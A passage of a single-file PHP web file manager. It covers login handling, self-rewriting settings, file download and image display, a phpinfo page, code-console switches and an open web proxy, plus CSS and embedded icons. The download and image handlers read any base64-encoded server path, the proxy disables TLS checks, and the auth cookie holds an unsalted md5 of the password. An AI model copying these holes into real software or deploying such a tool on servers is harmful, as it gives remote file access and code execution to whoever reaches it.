	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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